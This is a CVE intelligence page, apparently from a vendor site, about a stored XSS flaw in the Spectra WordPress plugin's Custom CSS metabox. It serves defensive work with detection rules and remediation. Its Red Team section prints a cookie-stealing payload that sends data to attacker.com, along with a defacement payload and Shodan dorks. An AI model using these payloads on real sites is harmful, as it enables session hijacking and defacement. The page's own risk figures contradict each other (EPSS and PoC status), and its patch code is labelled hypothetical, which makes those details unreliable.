☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6486

CVE-2023-6486 Cross-Site Scripting in Spectra
📅 PUBLISHED: 2024-04-09 18:59 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6486 is a Stored Cross-Site Scripting (XSS) vulnerability in the Spectra – WordPress Gutenberg Blocks plugin, affecting all versions up to and including 2.10.3. The flaw resides in the Custom CSS metabox, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload. The vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Given the low EPSS score (0.0%) and no public PoC or exploit code, the immediate exploitation risk is low. However, the potential for privilege escalation and site defacement remains significant for WordPress sites using the vulnerable plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin update mechanism; users must manually update or rely on the WordPress dashboard.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS can lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability exists in the Custom CSS metabox feature of the Spectra plugin. This metabox allows users to add custom CSS to individual posts or pages. The plugin fails to properly sanitize user input and escape output when rendering the custom CSS in the page source.

Root Cause: The spectra_custom_css meta field is stored without adequate sanitization. When the plugin outputs this CSS in the <style> tag, it does not escape HTML entities or JavaScript event handlers. An attacker can inject a payload like:

</style><script>alert('XSS')</script><style>

This breaks out of the CSS context and executes arbitrary JavaScript.

Attack Flow:

  1. Attacker with contributor-level access creates or edits a post.
  2. In the Custom CSS metabox, they inject a malicious script.
  3. The script is stored in the database.
  4. When any user (including admins) views the post, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.10.3):

// In a template or shortcode handler
$custom_css = get_post_meta( $post_id, 'spectra_custom_css', true );
if ( ! empty( $custom_css ) ) {
    echo '<style>' . $custom_css . '</style>';
}

Patched Code (Hypothetical):

$custom_css = get_post_meta( $post_id, 'spectra_custom_css', true );
if ( ! empty( $custom_css ) ) {
    // Sanitize and escape
    $safe_css = wp_strip_all_tags( $custom_css );
    echo '<style>' . esc_html( $safe_css ) . '</style>';
}

The patch should use wp_strip_all_tags() to remove HTML/script tags and esc_html() to escape any remaining special characters.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Spectra plugin <= 2.10.3
  • Contributor-level account credentials

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new post or edit an existing one.
  3. In the Custom CSS metabox, inject the following payload:
    </style><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><style>
    
  4. Publish or save the post.
  5. When an admin or other user views the post, the script executes, exfiltrating cookies.

Alternative Payload (Defacement):

</style><script>document.body.innerHTML='<h1>Hacked by Red Team</h1>'</script><style>

Blue Team

Detection:

  • Monitor for unusual content in the spectra_custom_css post meta field.
  • Look for posts containing <script> tags or event handlers in custom CSS.
  • Use WAF rules to block requests with suspicious CSS content.

Hunting Query (SQL):

SELECT ID, post_title, meta_value
FROM wp_postmeta
WHERE meta_key = 'spectra_custom_css'
AND (meta_value LIKE '%</style>%' OR meta_value LIKE '%<script%');

Prevention:

  • Update to a patched version (if available).
  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/spectra/spectra.php (version <= 2.10.3)
  • Database Entry: wp_postmeta with meta_key = 'spectra_custom_css' containing <script> tags.
  • Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
  • Logs: WordPress debug logs showing spectra_custom_css with suspicious content.

Detection Engineering

YARA Rule

rule detect_spectra_xss_payload {
    meta:
        description = "Detects stored XSS payloads in Spectra plugin custom CSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6486"
    strings:
        $payload1 = "</style><script"
        $payload2 = "onload="
        $payload3 = "onerror="
    condition:
        any of them
}

Sigma Rule

title: Spectra Plugin Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Spectra plugin custom CSS
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'spectra_custom_css'
        cs-uri-query|contains: 
            - '</style>'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate CSS with comments containing HTML
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6486 Spectra Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"spectra_custom_css"; http_client_body; content:"</style>"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin to the latest version (if a patch is released).
  2. Disable the Custom CSS metabox for non-admin users via a custom plugin or code snippet:
    remove_meta_box( 'spectra_custom_css', 'post', 'normal' );
    
  3. Restrict contributor roles to trusted users only.

Long-term Measures:

  • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  • Enforce Content Security Policy (CSP) headers:
    Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
    
  • Regularly audit user permissions and plugin versions.

Patch Status: UNKNOWN. Monitor the Spectra plugin repository for updates.


Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Spectra"
http.html:"wp-content/plugins/spectra"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6486/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.